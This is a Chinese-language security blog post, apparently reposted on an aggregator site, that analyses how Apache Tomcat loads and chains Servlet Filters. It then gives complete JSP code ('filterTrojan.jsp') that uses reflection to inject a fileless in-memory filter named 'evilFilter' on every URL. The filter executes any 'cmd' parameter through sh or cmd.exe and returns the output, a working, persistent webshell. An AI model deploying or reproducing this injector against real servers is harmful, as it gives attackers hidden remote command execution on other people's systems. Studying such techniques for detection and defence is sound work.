栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

『Java安全』容器安全-Tomcat Servlet-api型Filter内存马

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

『Java安全』容器安全-Tomcat Servlet-api型Filter内存马

文章目录

前言

Filter生命周期Filter类介绍 Servlet启动流程Filter调用流程分析

1. 从Standardcontext获取filterMaps2. 遍历filterMap匹配url并调用了addFilter方法添加到filterChain3. 依次调用doFilter Filter内存马

原理

Ⅰ. 获取context

更简单的方法 Ⅱ. 生成恶意Filter用FilterDef封装添加到FilterDefsⅢ. 用filterConfig封装filterDefs添加到filterConfigsⅣ. 生成filterMap添加到filterMaps 完整代码运行截图 参考引用完

前言 Filter生命周期

Filter类介绍

Servlet启动流程

下图是Servlet启动流程

StandardEngine启动后调用StandardHost、再调用StandardContext。在StandardContext.startInternal()中可以看到,加载流程是Listener-Filter-Servlet

Filter调用流程分析

来到StandardWrapper处理Filter事务

借用宽字节安全的图

1. 从Standardcontext获取filterMaps

ApplicationFilterFactory中从Standardcontext获取filterMaps

里面有每个filter的信息

2. 遍历filterMap匹配url并调用了addFilter方法添加到filterChain

符合匹配就从filterConfig添加filter到filterChain,这里调用了addFilter方法

filterConfig存储了filterDef定义和filter信息

3. 依次调用doFilter

ApplicationFilterFactory获取完filterChain后回到StandardWarpper继续处理,然后就是调用链子filterChain.doFilter方法

实际调用了internalDoFilter方法

循环chain依次调用各filter的doFilter方法

当最后一个filter结束后

Filter内存马 原理

由于不能直接操控web.xml或者WebFilter注解注册恶意Filter

但是根据流程分析:注册Filter用到了几个关键方法,这就可以通过反射注册恶意Filter

模拟正常流程:

    生成恶意filterfilterDef封装filter添加到filterDefsfilterConfig封装filterDefs添加到filterConfigs生成filterMap添加到filterMaps三者放入Context
Ⅰ. 获取context

Servlet提供了一个方法request.getSession().getServletContext()获取servletContext

这里获取到的是ApplicationContextFacade,它封装了ApplicationContext实现了ServletContext接口

然后ApplicationContext封装了StandardContext


因此调两次反射就能拿到StandardContext,注意是private要setAccessible

<%
    Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
    appContextField.setAccessible(true);
    Field standardContextField = ApplicationContext.class.getDeclaredField("context");
    standardContextField.setAccessible(true);

    ServletContext servletContext = request.getSession().getServletContext();
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

%>
更简单的方法

Servlet环境的request实际是RequestFacade对象,就像Context实际也是ApplicationCotextFacade一样

它有一个request属性存储了Request对象,Request对象getter就能直接拿到Context

    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();
Ⅱ. 生成恶意Filter用FilterDef封装添加到FilterDefs

FilterDef提供了setter

StandardContext也提供了添加FilterDefs的方法

.......
    Filter filter = new Filter() {
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
            chain.doFilter(request, response);
        }

    };
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("evilFilter");
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);
%>
Ⅲ. 用filterConfig封装filterDefs添加到filterConfigs

生成filterConfig需要调用反射,因为构造器没有声明public,然后直接向filterConfigs调用Map.put传入即可,键为filter的名称同上

这里的Context是org.apache.catalina.Context

......
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

    Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("evilFilter", filterConfig);
%>
Ⅳ. 生成filterMap添加到filterMaps

FilterMap也有几个add和set方法,这里需要设定名称、pattern,dispatcher设置为DispatcherType.REQUEST

FilterMaps提供了两种add方法来添加map,选用before可以加在最前面

......
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("evilFilter");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
%>
完整代码
// filterTrojan.jsp
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
    appContextField.setAccessible(true);
    Field standardContextField = ApplicationContext.class.getDeclaredField("context");
    standardContextField.setAccessible(true);

    ServletContext servletContext = request.getSession().getServletContext();
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Filter filter = new Filter() {
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
            chain.doFilter(request, response);
        }

    };
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("evilFilter");
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

    Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);
    filterConfigs.put("evilFilter", filterConfig);

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("evilFilter");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);

    out.println("Inject done");
%>

运行截图

首先访问注入内存马的jsp,然后只要urlPattern符合都能进行RCE

参考引用

Tomcat Filter类型内存马与查杀技术学习
【干货】Servlet内存马加载流程分析
Filter内存马浅析

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123561053
版权声明:本文为原创,转载时须注明出处及本声明

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/777244.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号